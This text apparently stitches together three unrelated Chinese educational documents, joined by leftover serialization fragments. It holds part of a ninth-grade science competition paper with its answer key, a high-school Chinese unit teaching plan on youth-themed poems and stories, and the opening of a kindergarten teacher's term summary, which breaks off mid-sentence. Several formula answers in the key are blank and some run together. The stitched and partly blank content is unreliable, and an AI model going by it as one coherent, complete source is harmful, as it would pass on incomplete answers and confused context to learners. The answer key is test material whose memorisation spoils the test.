@#@C、D、E为三段玻璃管，A、B为两个玻璃球。

@#@利用C管使A、B两球液面上部相连通，C、D、E三管与两球接口紧密封闭，E、D两管上端与大气相接，各管水位高度差如图所示，求E管内水相对B中水面的高度是@#@▲米。

@#@@#@19．（6分）如图所示，将电阻为R的均匀裸导线首尾相接形成一@#@个半径为r的导体圆环，环上放着两根电阻不计的足够长的　@#@平行直导线a、b，相距等于圆半径r。

@#@现让直导线a、b在@#@环面上移动，移动过程中a、b导线始终保持相互平行且距@#@离为r，并始终与导体环有很好的接触，则在a、b移动的@#@过程中两直导线间电阻的最大值Rmax=▲，最小值Rmin=▲。

@#@@#@20．血红蛋白是个大分子，它的式量约为68000，已知其中含铁元素0．33％，则每个血红蛋白分子中的铁原子个数约为@#@▲。

@#@@#@21．右图表示光照强度对A、B两种C3植物光合作用强度的影@#@响。

@#@据图回答：

@#@@#@

（1）A、B两种植物光合作用过程中对光能利用的差异是@#@▲。

@#@@#@

（2）在农业生产中，与B植物相比，A植物应种@#@植在▲条件下@#@22．人通过肺与外界进行气体交换，吸入空气，排出@#@CO2等气体。

@#@但人体排出的CO2究竟是空气中原有@#@的，还是人体代谢的最终产物。

@#@为了证实这个问@#@题，某同学采用了如图装置进行实验。

@#@实验过程@#@是：

@#@人吸气时，活塞A打开，活塞B关闭，乙瓶@#@中澄清石灰水没有出现浑浊；@#@人呼气时，活塞A@#@关闭，活塞B打开。

@#@将上述操作反复进行，能证@#@明人呼出的气体中所含的CO2不是来自空气，而是人体的代谢终产物，请回答：

@#@@#@　

（1）甲瓶中所装试剂的作用是▲；@#@丙瓶中所装试剂的作用是▲；@#@@#@

（2）请写出甲瓶或丙瓶中反应的化学方程式▲。

@#@@#@23．现有A、B、C、D四个烧杯，分别盛有50克水，在相同的温度下，向四个烧杯中依次加入27克、9克、36克、18克的食盐固体，充分溶解后的情况如图所示。

@#@经观察后回答下列问题：

@#@@#@ @#@@#@

（1）_▲中盛有的一定是不饱和溶液。

@#@@#@

（2）假定其中有一杯溶液恰好饱和，该饱和溶液的质量分数为▲。

@#@@#@24．将电阻丝制成半径大小不同的两个圆环和一个正方形@#@框按下图所示的方法连接。

@#@若各接触点都导电良好，大@#@圆环的总电阻等于160欧．现用导线在a、b两点间连@#@接6伏的电源．此时电路中的电功率等于1．8瓦．则@#@a、b两点间的电阻等于▲欧；@#@若用导线截面直@#@径为原电阻丝两倍的电阻丝替换大圆环上a、b间的1／4圆环电阻丝，则电路@#@中的电功率将变为▲瓦。

@#@@#@25．显微镜是科学实验室中常用的仪器，关于显微镜的使用，请回答以下问题：

@#@@#@

（1）若用同一显微镜通过调整目镜、物镜和准焦螺旋，观察同一标本4次，分别得到如图所示的四幅图。

@#@则A、B、C、D中视野最暗的是▲ @#@。

@#@@#@ @#@@#@

（2）通过显微镜观察到在装片内有一物体作顺时针运动，则该物体的实际运动方向为@#@__▲ @#@ @#@（选填“顺时针”或“逆时针”）。

@#@@#@26．有四条完全相同的刚性长条薄片AiBi（i=1，2，3，4），其两端下方各有一个小突起，薄片及突起的重力均不计。

@#@现将四薄片架在一只水平的碗口上，使每条薄片一端的小突起Bi搭在碗口上，另一小突起Ai位于其下方薄片的正中，由正上方俯视如图所示。

@#@现将一个质量为m的小物体放在薄片A4B4上的一点，这一点与A3，A4的距离相等，则薄片A4B4中点受A3的压力是▲牛。

@#@@#@三、实验与探究题（本大题共5题，每空2分，共30分。

@#@）@#@27．过碳酸钠（Na2CO4）是一种常见的漂白杀菌剂，工业用的过碳酸钠往往含有少@#@量的碳酸钠。

@#@为了测定过碳酸钠的纯度，某同学在资料中获悉：

@#@2Na2CO4+4HCl@#@＝4NaCl+2CO2↑+O2↑+2H2O。

@#@他们进行了下列研究，请完成有关问题：

@#@@#@

（1）取2．8g样品与足量的稀盐酸反应，只要测定反应过程中产生的▲体积，就可推算出过碳酸钠的纯度。

@#@@#@

（2）请选取需要的装置，并写出这些装置的正确连接顺序▲填字母）@#@28．咸菜，佐餐的小菜，烹饪的调料，家家都会做。

@#@自制咸菜，原料随意挑，卫生@#@有保障，原料配比随已意。

@#@但也有人尽人意之处，即保存时间稍长，味道变酸，刺激肠胃。

@#@那么酸味何来，可有解法？

@#@@#@【原料准备】：

@#@新鲜的红辣椒、大蒜头、生姜等，洗净，晒干表面水分，切成块或片。

@#@@#@【制作】：

@#@将原料与适量的食盐、白糖、白酒等混合均匀，装入泡菜坛，盖上坛盖，再向荷口倒适量水，这一过程叫腌制。

@#@@#@【问题】：

@#@腌好的咸菜时间一长，味道就逐渐变酸。

@#@这酸味哪来？

@#@@#@怎么控制？

@#@科学探究小组的同学经过分析判断，该酸@#@味物质可能是碳酸。

@#@理由为坛内蔬菜是以C和H元素为主的化合物，@#@与久放菜窖的白菜一样，在密封的有限空间里CO2浓度大。

@#@生物学知@#@识告诉我们，通过盐、糖腌制的蔬菜细胞会失水。

@#@因此，坛内会出现@#@少量的液体（主要成分是H2O）。

@#@@#@【评价检测】：

@#@@#@

（1）设计证明酸味物质是碳酸的实验（用图示或文字表达均可）：

@#@▲其化学反应方程式是：

@#@▲@#@

（2）坛顶荷口内装水至一半高度的目的是▲；@#@随着时间增长，坛内的“酸@#@水”不断增加，这水从何来？

@#@▲；@#@@#@（3）通过探究，你觉得可以如何控制酸味▲；@#@@#@29．凝乳酶是动物体内一种催化乳汁凝固的酶。

@#@右图所示的是用于研究温度对凝乳酶催化作用影响的实验装置。

@#@第一步：

@#@将等量的酶和乳汁分别加入试管中，然后将两支试管放入同一恒温水浴（温度用t表示）中保温15分钟。

@#@第二步：

@#@将酶和乳汁在同一试管中混合，放入与先前同样温度的水浴中保温并记录凝乳所需时间。

@#@分别选择6种不同水浴的温度，按上述操作步骤重复进行6组实验，所得数据见下表。

@#@@#@组别@#@1@#@2@#@3@#@4@#@5@#@6@#@水浴温度t/0C@#@10@#@20@#@30@#@40@#@50@#@60@#@凝乳时间/分@#@不凝固@#@7.0@#@4.0@#@1.5@#@4.0@#@不凝固@#@

（1）盛有酶和乳汁的两支试管放在水浴中15分钟后，酶和乳汁温度与水浴一致。

@#@在这个过程中热传递的主要方式是▲；@#@（热传导、热对流、热辐射）@#@

（2）由实验结果可知酶发挥最佳催化效果的温度是▲℃；@#@@#@（3）在25℃室温时重做第3组实验，若省略了第一步操作，而直接将两者放入同一试管内混合，再在30℃水浴中保温测量，则所测得的凝乳时间将▲4分钟（填“短于”、“等于”或“长于”）。

@#@@#@30．现欲探究Fe2O3能否加快H2O2的分解，并与MnO2的催化效果进行比较，甲、乙和丙三位同学同时进行H2O2的分解与气体的收集实验。

@#@实验时间均以30秒为准（H2O2均未全部分解），其他可能影响实验的因素均已忽略。

@#@相关数据如下：

@#@@#@同学序号@#@质量分数相同的H2O2溶液@#@溶液中加入的物质@#@收集到的气体体积@#@甲@#@100ml@#@未加其他物质@#@aml@#@乙@#@100ml@#@Fe2030.5g@#@bml@#@丙@#@100ml@#@MnO2O.5g@#@cml@#@首先应比较　▲（选填a、b、c）的大小；@#@其次需补充做如下实验（无需写出具体操作）；@#@①▲②Fe203的化学性质有没有改变。

@#@@#@31．今年入冬以来，东白山顶多次出现南方难得见到的“雾凇”“冰棱”现象，吕梁同学利用星期天进行了一次登山活动，想利用所学的科学知识测量东白山的高度。

@#@（已知一定高度范围内，竖直方向每升高10米大气压强减小Δp，且山下的大气压强为p0）。

@#@他们随身携带了注射器（有刻度部分的容积为V）、弹簧测力计、细线、刻度尺等。

@#@到达山顶后，他们首先排尽针筒内的空气并用橡皮帽封住其小孔，进行了如图所示的实验。

@#@（实验中针筒与活塞之间的摩擦不计）@#@

（1）为了测量山顶的大气压强，你认为实验中@#@应测出的量有（指出科学量的名称并用相应@#@的符号表示）：

@#@▲；@#@@#@

（2）东白山山脚到山顶的相对高度为　▲米（用所测得的科学量及已知量表示）；@#@@#@（3）实验时若针筒内空气没有排尽，将导致测得的高度值▲。

@#@（选填“偏大”、“偏小”或“不变”）@#@四、分析计算题（本大题共4题，32题10分，33题9分，33题8分，33题9分,共36分。

@#@）@#@32．（10分）现有一个阻值为10欧的定值电阻，一个开关，若干@#@导线和一个电压表，该电压表表面上有刻度但无刻度值。

@#@另@#@有一个电源箱（如图），要求设计一个能测定该电源箱内阻r@#@的阻值的实验方案（已知电压表的内阻很大，其量程大于电@#@源电压，r约为几欧）。

@#@要求：

@#@@#@

（1）完成实验电路图；@#@@#@

（2）简明写出完成接线后的实验步骤；@#@@#@（3）写出用测得的量计算r的表达式。

@#@@#@33．（6分）如图所示，正方体木块漂浮在氯化钠溶液里，有总体@#@积的1/5露出液面，不可伸长的悬绳处于松驰状态。

@#@已知绳子@#@能承受的最大拉力为5牛，木块边长为0.1米，容器底面积为@#@0.03米2，容器底有一阀门K。

@#@求：

@#@@#@

（1）木块的密度是多少？

@#@@#@

（2）打开阀门使液体缓慢流出，当细绳断裂前一瞬间关闭阀@#@门，此时木块排开液体的体积为多少？

@#@@#@（3）在细绳断后，木块再次漂浮时，容器底受到液体的压强@#@与断绳前的瞬间相比，容器底受到液体的压强改变了多少？

@#@（g取10牛/千克，溶液的密度为1.2×@#@103千克/米3，计算结果保留2位小数）@#@34．（7分）某同学做了如下实验：

@#@取A、B两支试管。

@#@在A管中加入煮熟的蚕豆子叶，@#@B管中加入发芽的蚕豆子叶。

@#@在两管中分别加入甲烯蓝溶液（注：

@#@甲烯蓝氧化态（与@#@氧气会被氧化）为蓝色，接受氢（无氧呼吸过程中产生）后为无色），一段时间后@#@倒出溶液，两管中的子叶都呈蓝色，然后，两管分别加水淹没子叶、抽气、在水面@#@上覆盖适量石蜡油，37℃保温一段时间后，发现A管中的子叶不变色，B管中的子@#@叶蓝色变浅。

@#@取出子叶放在滤纸上，一段时间后，发现A管中取出的子叶不变色，@#@B管中取出的子叶蓝色变深。

@#@@#@根据上述实验现象，回答问题：

@#@@#@

（1）37℃保温一段时间后，B管子叶蓝色变浅的原因是　▲。

@#@@#@

（2）滤纸上B管子叶蓝色变深的原因是　▲。

@#@@#@（3）A管子叶37℃保温后不变色的原因是　▲。

@#@@#@（4）该实验设置A管的目的是　▲。

@#@@#@35．（7分）某兴趣小组的同学在一份资料中了解到：

@#@铜有CuO和Cu2O（红色）两种常见的氧化物。

@#@因为Cu和Cu2O均为红色，故他们猜测，在用H2还原CuO所得的红色产物中可能含有Cu2O。

@#@@#@

（1）该小组的同学准确称取了8.0g黑色CuO粉末放入大试管中，不断通入足量的H2，在加热条件下进行还原，如果产物只有Cu，其质量应为多大？

@#@@#@

（2）该小组的同学在H2还原CuO时，当发现8.0g黑色CuO粉末全部转变成红色时，停止加热，冷却后称得固体质量为6.8g。

@#@此红色固体中氧元素的质量为多大？

@#@以此推得Cu2O的质量为多大？

@#@@#@（3）将

（2）中所得的6.8g固体放入烧杯中，加入48.0g过量稀盐酸（Cu2O与稀盐酸的反应化学方程式为：

@#@Cu2O＋2HCl===CuCl2＋Cu＋H2O），充分搅拌，除有红色固体外，还发现溶液变蓝。

@#@试计算此蓝色溶液中CuCl2的质量分数。

@#@@#@ @#@@#@九年级科学竞赛参考答案@#@一、选择题（本大题有16题，每题3分，共48分，每题只有1个选项正确，）@#@序号@#@1@#@2@#@3@#@4@#@5@#@6@#@7@#@8@#@答案@#@B@#@D@#@B@#@B@#@A@#@C@#@C@#@A@#@序号@#@9@#@10@#@11@#@12@#@13@#@14@#@15@#@16@#@答案@#@D@#@D@#@D@#@A@#@B@#@B@#@C@#@D@#@二、简答题（本大题共10题，18个空格，每空2分，共36分。

@#@）@#@17．丙；@#@丙→乙→甲@#@18．1.5米@#@19．@#@@#@20．4个@#@21．

（1）在低于P光照强度下B植物光能利用率比A植物的高，在高于P光照强度下A植物光能利用率比B植物的高。

@#@@#@

（2）较强光照。

@#@@#@22．

（1）吸收空气中的二氧化碳验证呼出气体中含有二氧化碳。

@#@@#@

（2）CO2+2NaOH=Na2CO3+H2O；@#@Ca（OH）2+CO2=CaCO3↓+H2O@#@23

（1）B

（2）26.5%@#@2420欧，4．5瓦@#@25．

（1）C

（2）顺时针@#@26、0.1mg@#@三、实验与探究题（本大题共5题，每空2分，共30分。

@#@）@#@27、

（1）氧气

（2）BEDCFG@#@28

（1）将一只装有2毫升澄清石灰水的小试管用细绳拴着置入坛内，一段时间后取出，石灰水变浑浊或有白色沉淀。

@#@CO2+Ca（OH）2=CaCO3↓+H2O@#@

（2）起密封作用，防止外界氧气、细菌或其它污染物进入；@#@细胞失水、有机物呼吸作用产生水；@#@（3）将菜先晾晒一下，再腌制；@#@@#@29

（1）传导

（2）40（3）长于@#@30.ab①比较反应前后Fe2O3质量是否改变@#@31．

（1）针筒上有刻度部分的长度（L），弹簧测力计的示数（F）@#@

（2）@#@（3）偏大@#@ @#@@#@四、分析计算题（32小题10分，33小题9分，34小题8分，35小题9分共36分。

@#@）@#@32．（10分）

（1）见图；@#@（3分）@#@

（2）断开s记下伏特表的格数为N1，合上s记下伏特表的格数N2（3分）；@#@@#@（3）@#@（4分）@#@33．（9分）

（1）（3分）ρ木=0.96×@#@103Kg/m3@#@

（2）（3分）V’排=3.83×@#@10-4m3@#@（3）（3分）⊿P≈167Pa@#@34．（8分）

（1）子叶在无氧呼吸过程中产生的氢能使甲烯蓝还原。

@#@（2分）@#@

（2）通过呼吸作用还原的甲烯蓝被氧化。

@#@（2分）@#@（3）子叶细胞的酶失活，无呼吸作用。

@#@（2分）@#@（4）作对照实验。

@#@（2分）@#@35．（9分）

（1）8.0g黑色CuO粉末中，铜元素的质量为8.0g×@#@64/（64＋16）＝6.4g，即如果产物只有Cu，其质量应为6.4g。

@#@（2分）@#@

（2）结合

（1）的计算结果可知，该红色固体中氧元素的质量为6.8g－6.4g＝0.4g，以此推得Cu2O的质量为0.4g÷@#@16/（64×@#@2＋16）＝3.6g。

@#@（2分）@#@（3）设生成CuCl2的质量为x，生成Cu的质量为y。

@#@@#@x=3.375g（2分）@#@y=1.6g（2分）@#@所得溶液中CuCl2的质量分数为@#@。

@#@（1分）@#@ @#@@#@";i:

7;s:

12518:

"必修上册第一单元教学实施策略@#@必修上册第一单元教学实施策略@#@1.本单元与新课标的对接@#@《文学阅读与写作》（学习任务群5）@#@2.学习目标：

@#@@#@3.根据诗歌、散文、小说、剧本不同的表现方式，从语言、构思、形象、意蕴、情感等多个角度欣赏作品。

@#@@#@4.了解诗歌、散文、小说、剧本写作的一般规律，尝试写作文学作品。

@#@@#@5.教学提示：

@#@鼓励和引导学生自主组织、举办诗歌朗诵会、读书报告会、话剧表演等活动，丰富学生的审美体验。

@#@@#@二、本单元课文@#@主题：

@#@青春飞扬@#@课文组成：

@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@诗词（第1、2课）《沁园春·@#@长沙》@#@《立在地球边上放号》《红烛》《峨日朵雪峰之侧》《致云雀》 @#@ @#@ @#@ @#@ @#@@#@小说（第3课）：

@#@《百合花》《哦，香雪》@#@三、单元导读@#@1.主题概述（略）@#@2.内容解说（略）@#@3.学习素养要求：

@#@@#@

（1）抓住意象理解诗歌@#@

（2）诗歌写作@#@（3）把握小说叙事和抒情特点@#@（4）从语言、形象、情感等不同角度欣赏作品（诗歌及小说）@#@四、单元学习任务@#@1.课堂讨论：

@#@青春的价值。

@#@@#@2.围绕“意象”，对本单元诗词进行意境探究，欣赏诗歌；@#@学会用富有表现力的词。

@#@@#@3.联系背景，理解小说；@#@赏析小说的细节描写。

@#@@#@4.学习写作诗歌。

@#@@#@五、单元教学设计@#@学习目标：

@#@@#@1.朗读诗词，把握诗词朗读的节奏、韵律。

@#@@#@2.通过分析“意象”及其建构的意境氛围，结合诗词背景，理解诗歌思想感情。

@#@增强形象思维能力。

@#@在阅读与鉴赏、梳理与探究活动中运用联想与想象，丰富对文学形象的感受与理解。

@#@@#@3.鉴赏文学作品。

@#@感受和体验诗词的语言、形象和情感之美。

@#@@#@4.梳理小说叙事特点，把握小说描写人物的方法，分析小说中典型的细节描写，赏析小说语言特点。

@#@@#@5.帮助学生激发青春情怀，树立积极上进的人生态度。

@#@@#@具体课时实施@#@第一课时@#@《沁园春·@#@长沙》@#@活动一：

@#@分析“看”“怅”“忆'@#@”记”等字在文中的作用。

@#@@#@活动二：

@#@品味“山”“林”“水”“舸”“鹰”“鱼”等意象，分析它们是怎样表现出“万类霜天竞自由”的湘江秋景的。

@#@@#@活动三：

@#@赏析“遍”“尽”“透”“争”“击”“翔”等字的妙处。

@#@@#@活动四：

@#@补充周恩来《赤光的宣言》、朱德《太行有感》、陈毅《赣南游击词》等诗歌，比较分析四首诗歌在情感上的异同。

@#@@#@附：

@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@赤光的宣言@#@周恩来@#@革命的赤光，@#@从北俄腾起，@#@惊醒了，@#@冬虫般蛰伏的被压迫阶级，@#@震动了，@#@春蚕般茧缚的世界殖民地，@#@封建余孽，@#@国际的强盗，@#@更被他照的原形毕露。

@#@@#@夜已阑，天将晓，@#@赤色之光，@#@早在东方闪动了。

@#@@#@休忘记，@#@远的土耳其，@#@近的印度。

@#@@#@是呵！

@#@要寻求，@#@自由，独立，@#@原只有接近赤光，@#@走向世界革命的大道。

@#@@#@起，起，起，@#@我们的朋友!

@#@@#@太行春感①@#@朱德@#@远望春光镇日阴②，太行高耸气森森。

@#@@#@忠肝不洒中原泪，壮志坚持北伐心③。

@#@@#@百战新师惊贼胆④，三年苦斗献吾身⑤。

@#@@#@从来燕赵多豪杰⑥，驱逐倭儿共一樽⑦。

@#@ @#@@#@注释：

@#@@#@①太行；@#@即太行山，位于山西高原与河北平原之间，东北西南走向，北起拒马河谷，南至晋豫边境黄河沿岸，平均海拔1000米以上，最高峰达2000米。

@#@抗日战争时期，八路军曾在太行山区建立了抗日根据地。

@#@@#@②镇日：

@#@整天。

@#@这里指经常。

@#@@#@③北伐：

@#@指宋朝爱国名将岳飞北伐抗击金兵入侵。

@#@@#@④百战新师：

@#@指中国共产党领导的八路军。

@#@@#@⑤三年：

@#@指抗战三年来。

@#@该诗写于1939年春。

@#@三年，应指从红军长征到达陕北，东渡黄河，进入抗日前线起，即1936年初到1939年春，恰好三年。

@#@@#@⑥燕赵：

@#@指中国古代的燕国、赵国，因位于中国现在的山西省、河北省北部一带，故后泛指中国北方。

@#@这里指以太行山根据地为中心的华北地区。

@#@@#@⑦倭儿：

@#@指日本侵略者，倭是中国古代对日本的称呼。

@#@《汉书·@#@地理志下》：

@#@“乐浪海中有倭人，分为百余国，以岁时来献见。

@#@”这是关于中日间开始交往的最早记载。

@#@此后即称日本为倭国。

@#@ @#@@#@赣南游击词@#@陈毅 @#@ @#@ @#@一九三六年夏@#@天将晓，队员醒来早。

@#@露侵衣被夏犹寒，树间唧唧鸣知了。

@#@满身沾野草。

@#@@#@天将午，饥肠响如鼓。

@#@粮食封锁已三月，囊中存米清可数。

@#@野菜和水煮。

@#@@#@日落西，集会议兵机。

@#@交通晨出无消息，屈指归来已误期。

@#@立即就迁居。

@#@@#@夜难行，淫雨苦兼旬。

@#@野营已自无篷帐，大树遮身待晓明。

@#@几番梦不成。

@#@@#@天放晴，对月设野营。

@#@拂拂清风催睡意，森森万树若云屯。

@#@梦中念敌情。

@#@@#@休玩笑，耳语声放低。

@#@林外难免无敌探，前回咳嗽泄军机。

@#@纠偏要心虚。

@#@@#@叹缺粮，三月肉不尝。

@#@夏吃杨梅冬剥笋，猎取野猪遍山忙。

@#@捉蛇二更长。

@#@@#@满山抄，草木变枯焦。

@#@敌人屠杀空前古，人民反抗气更高。

@#@再请把兵交。

@#@@#@讲战术，稳坐钓鱼台。

@#@敌人找我偏不打，他不防备我偏来。

@#@乖乖听安排。

@#@@#@靠人民，支援永不忘。

@#@他是重生亲父母，我是斗争好儿郎。

@#@革命强中强。

@#@@#@勤学习，落伍实堪悲。

@#@此日准备好身手，他年战场获锦归。

@#@前进心不灰。

@#@@#@莫怨嗟，稳脚度年华。

@#@贼子引狼输禹鼎，大军抗日渡金沙。

@#@铁树要开花。

@#@@#@第二课时@#@《红烛》@#@活动一：

@#@比较阅读徐志摩《再别康桥》，让同学们体会“新月”派诗歌“三美”特点。

@#@@#@活动二：

@#@朗读课文，揣摩诗歌每一节都以“红烛啊”开头的作用，把握诗歌节奏美、韵律美。

@#@@#@活动三：

@#@分析诗歌中作者情感的变化，理顺诗歌结构思路。

@#@@#@活动四：

@#@分析“红烛”在诗中的象征意义。

@#@@#@第三课时@#@《立在地球边上放号》《峨日朵雪峰之侧》@#@活动一：

@#@联系创作背景，理清作者的抒情脉络。

@#@@#@活动二：

@#@结合两首诗中的意象展开联想，感悟诗人通过意象表达情感的方法。

@#@@#@活动三：

@#@揣摩《立在地球边上》作者连用七个“力”，以及“不断地毁坏，不断地创造，不断地努力”在表达上的好处。

@#@@#@活动四：

@#@理清诗中“我”的心理变化，揣摩作者情感。

@#@@#@第四课时@#@诗歌鉴赏课@#@活动一：

@#@补充郭沫若《天狗》席慕蓉《青春》汪国真《热爱生命》海子《面朝大海，春暖花开》舒婷《致橡树》刘擎、王嫣《四月的纪念》余光中《乡愁》等诗歌，让同学们从中挑选进行朗诵并从情感、结构、语言等方面进行赏析。

@#@@#@第五课时@#@诗歌写作@#@活动一：

@#@探讨交流怎样的诗歌才是真正的诗歌（打油诗）。

@#@@#@活动二：

@#@结合本单元几首诗词，探究诗歌写作的重要元素，总结写诗时应该注意哪些方面（意象、手法、语言、修辞、情感等）。

@#@@#@活动三：

@#@本单元的诗歌，有的抒发昂扬向上的青春激情，表达雄视天下的凌云壮志；@#@有的表达青春的困惑与希望，对理想的坚毅追求；@#@也有歌颂自由，表达对自由的向往，对幸福生活的渴望……青春是多姿多彩的，每个人的青春都是独有的姿态，朗读拓展阅读的诗歌，体会他们的青春分别是怎样的？

@#@你的青春又是什么模样呢？

@#@@#@ @#@ @#@ @#@请你以本单元“青春”作为话题，创作一首现代诗，书写你独特的青春岁月。

@#@学部将汇总班级同学的诗作，编辑整理诗集。

@#@@#@附：

@#@师生诗作@#@青春畅想@#@程海涛@#@稚气，如春日初萌的榆钱儿@#@娇嫩，如晨曦中含露的芳草@#@羞涩，如夏夜将绽的垂蕊@#@懵懂，如秋风中摇荡的石榴@#@ @#@@#@有过困惑，面对试卷上鲜红的叉号@#@有过迷茫，面对友情裂痕的神伤@#@有过动摇，面对刺激诱人的王者荣耀@#@有过黯然，面对八方的期望目光@#@ @#@@#@展望，当如踏雪缘冰的登山者，永攀高峰@#@期盼，当如履地播种的农人，默默耕耘@#@祈愿，当如控球突进的球员，专一持恒@#@希求，当如伏案疾书的学者，勤勉孜矻@#@ @#@@#@青春，走进梦想，荷笔当锄，让精神家园种满成熟的庄稼@#@青春，迈向成熟，岁月为刀，让生命风帆驶向高悬的灯塔@#@青春，担起责任，重任肩扛，让宽阔胸襟力挽既倒之狂澜@#@青春，力求担当，播撒道义，让短暂人生拓展生命的宽度@#@青葱岁月@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@杜交伟（二部三班）@#@青春美好，@#@活泼灵动如飞鸟；@#@@#@青春芬芳，@#@似酝酿中的花香。

@#@@#@ @#@@#@你是初升的朝阳，@#@迸发万丈光芒；@#@@#@你是人间四月天，@#@四处洋溢香甜；@#@@#@你是汩汩的小溪，@#@流淌着向上与积极！

@#@@#@ @#@@#@你是翠竹、劲松，@#@是@#@是洁白的百合花，@#@是一幅浓墨重彩@#@风光旖旎的画儿，@#@是永恒美好、纯真质朴@#@最好的释义！

@#@ @#@ @#@@#@ @#@@#@下一个夏天@#@马瑞婧（二部四班）@#@这个夏天，@#@我独自站在城市的角落，@#@听浮躁喧嚣，@#@听夏虫鸣叫。

@#@@#@ @#@@#@耳畔回响着它的喘息，@#@心中荡漾着它的香气。

@#@@#@ @#@@#@我们的双眼封上尘土，@#@一寸一寸地模糊，@#@熔红的伤痕，@#@依然冒着焦糊的青烟。

@#@@#@ @#@@#@夏天和青春一起渐行渐远，@#@而我还在这，@#@憧憬着下一个夏天。

@#@@#@ @#@@#@ @#@@#@ @#@@#@第六课时@#@诗歌朗诵 @#@ @#@@#@ @#@@#@第七课时@#@《百合花》@#@活动一：

@#@梳理小说情节脉络。

@#@@#@活动二：

@#@分析小说刻画人物的方法。

@#@@#@活动三：

@#@分析典型的细节描写。

@#@@#@活动四：

@#@分析小说叙事人称的特点。

@#@@#@第八课时@#@《哦，香雪》@#@活动一：

@#@梳理小说情节脉络。

@#@@#@活动二：

@#@分析小说塑造人物的方法，重点分析语言对话描写和心理描写。

@#@@#@活动三：

@#@品味小说清新淡雅的语言特点。

@#@@#@第九课时@#@小说比较鉴赏@#@活动一：

@#@《百合花》是战争题材小说，《哦，香雪》的背景是贫穷落后的山村生活，但两篇小说没有给我们以战争残酷或生活无望的感觉，反而都给人以美感，这是为什么？

@#@请从人物形象、小说主题和语言风格等方面进行分析。

@#@@#@活动二：

@#@两篇小说在语言风格上有何相似之处？

@#@与《平凡的世界》相比呢？

@#@@#@活动三：

@#@以《百合花》《哦，香雪》为标题各有什么好处？

@#@@#@活动四：

@#@补充小说《青春之歌》，比较《百合花》与其在语言表达方面有何不同之处？

@#@我们可以从英雄身上传承哪些优秀品质？

@#@@#@ @#@@#@";i:

8;s:

23953:

"XX小班教师工作总结4篇@#@XX小班教师工作总结4篇@#@　　时间飞逝，转眼一学期已经过去了。

@#@在这一年中，我们班的两位老师，以团结协作、共同努力的良好风气，共同做好班内的各项工作。

@#@具体体现在以下几点：

@#@@#@　　一、班级情况@#@　　我班幼儿大部分都是刚入园的新生，在幼儿入园前我们班两位老师进行了电访，在家访中，我们对每一个幼儿个性特征、兴趣、爱好和生活自理能力及各个方面都进行了调查，使幼儿还没来园，我们就对他们的情况有了一个了解，为幼儿入园后在很短的时间内就适应幼儿园的生活奠定了良好的基础。

@#@@#@　　幼儿入园以后，针对小班幼儿的特点，为了缩短幼儿的分离焦虑，我们班两位老师齐心协力，和孩子一起做游戏、玩耍。

@#@在游戏：

@#@我是小司机、大家都是好朋友等活动，引导幼儿尽快适应幼儿园的生活。

@#@同时在家长园地中，指导家长做好幼儿的入园的各项工作，使家长们能够在家也帮助幼儿尽量缩短分离焦虑，通过一系列活动我班幼儿很快适应了幼儿园的生活。

@#@家长们也都放心的把幼儿放在这里。

@#@@#@　　本学期刚开始，幼儿年龄小，情绪波动大，每次到了午睡时间，我们都忙得不可开交，两位老师任劳任怨，付出的爱心和耐心去安抚每个幼儿的心，让她们逐渐适应幼儿园的午睡环境.@#@　　二、教育教学工作@#@　　1、本学期，我和吴老师负责教学工作，学期初，我们根据大纲的要求和小班幼儿的年龄特点，制定了一系列切实可行的教育教学计划。

@#@@#@　　幼儿园是幼儿生长学习的场所，幼儿园应为幼儿提供健康、丰富的生活和活动环境，满足他们多方面的需要，使他们在快乐的童年生活中获得有易于身心发展的经验。

@#@围绕这一纲要精神，我们开展了一系列活动，针对幼儿自我服务意识不强的特点，开展了自己的事情自己做，大大提高了幼儿的自我保护能力。

@#@在教育教学活动中，我和吴老师紧密结合、互相沟通，针对我班幼儿的情况，在教学活动和日常生活中进行安全教育、文明礼貌教育、团结友爱教育，使幼儿形成了良好的行为习惯。

@#@@#@　　本学期，我们开展了多个主题活动，有“高高兴兴上幼儿园”、“好吃的水果”、“落叶飘飘”、“冬天来了”等，如“好吃的水果”主题活动，宝宝们认识了各种不同的水果，知道了他们的名称，颜色，形状、味道等等;@#@还在亲手操作水果色拉中体验了成功的快乐，认识了水果的多种吃法……可以说，主题活动的开展带给孩子的是快乐，在这快乐之中孩子们也在不断成长!

@#@针对小班幼儿的年龄、心理、认知特点，我们老师多以合作游戏者的身份参与到幼儿的活动中，以自身的行为来吸引幼儿的注意，来激发幼儿主动学习的愿望。

@#@我们班的小朋友，从一开始的不愿学到主动要求学，说明活动的组织形式是较为成功的@#@　　小班教学内容以游戏为主。

@#@为了保证每节课的质量，首先，我们给幼儿创设一个良好的环境，轻松的氛围，让幼儿有一个愉快的心情参与。

@#@其次，我们认真备课，设计好每个活动，通过各种教育手段激发幼儿学习的兴趣。

@#@在教学过程中，我们努力成为孩子学习活动中的合作者、支持者、引导者。

@#@我们把“课”当成“游戏”上，把“游戏”当成“课”来做，从而来调动孩子学习的主动性，吸引他们学习的注意力。

@#@@#@　　2、教室环境的布置@#@　　环境是为教育教学活动服务的。

@#@根据教学活动的需要和本班的特点，老师们选择了一些一些废旧物品来布置。

@#@我们每月不断添设和更改各区角活动内容，并将一些教学内容延伸到某些区域内容中。

@#@如音乐角可表演学过的歌曲、故事;@#@科学区增设有关主题的材料，使区域活动内容不断丰富和改进，并使之成为课堂教学的延伸。

@#@所开设的区域包括：

@#@建构区、美工区、表演区、益智区。

@#@@#@　　三、卫生保健及常规教育卫生保健@#@　　我们严格按照园里的要求执行各类物品的消毒工作，每周一次毛巾漂白消毒;@#@每月进行玩具消毒，让幼儿生活在一个整洁、舒适的环境中。

@#@因为我班幼儿刚入园，所以我班的卫生保健工作一向也较为细致。

@#@我们两位老师每天都兢兢业业、细心、耐心的观察记录。

@#@如：

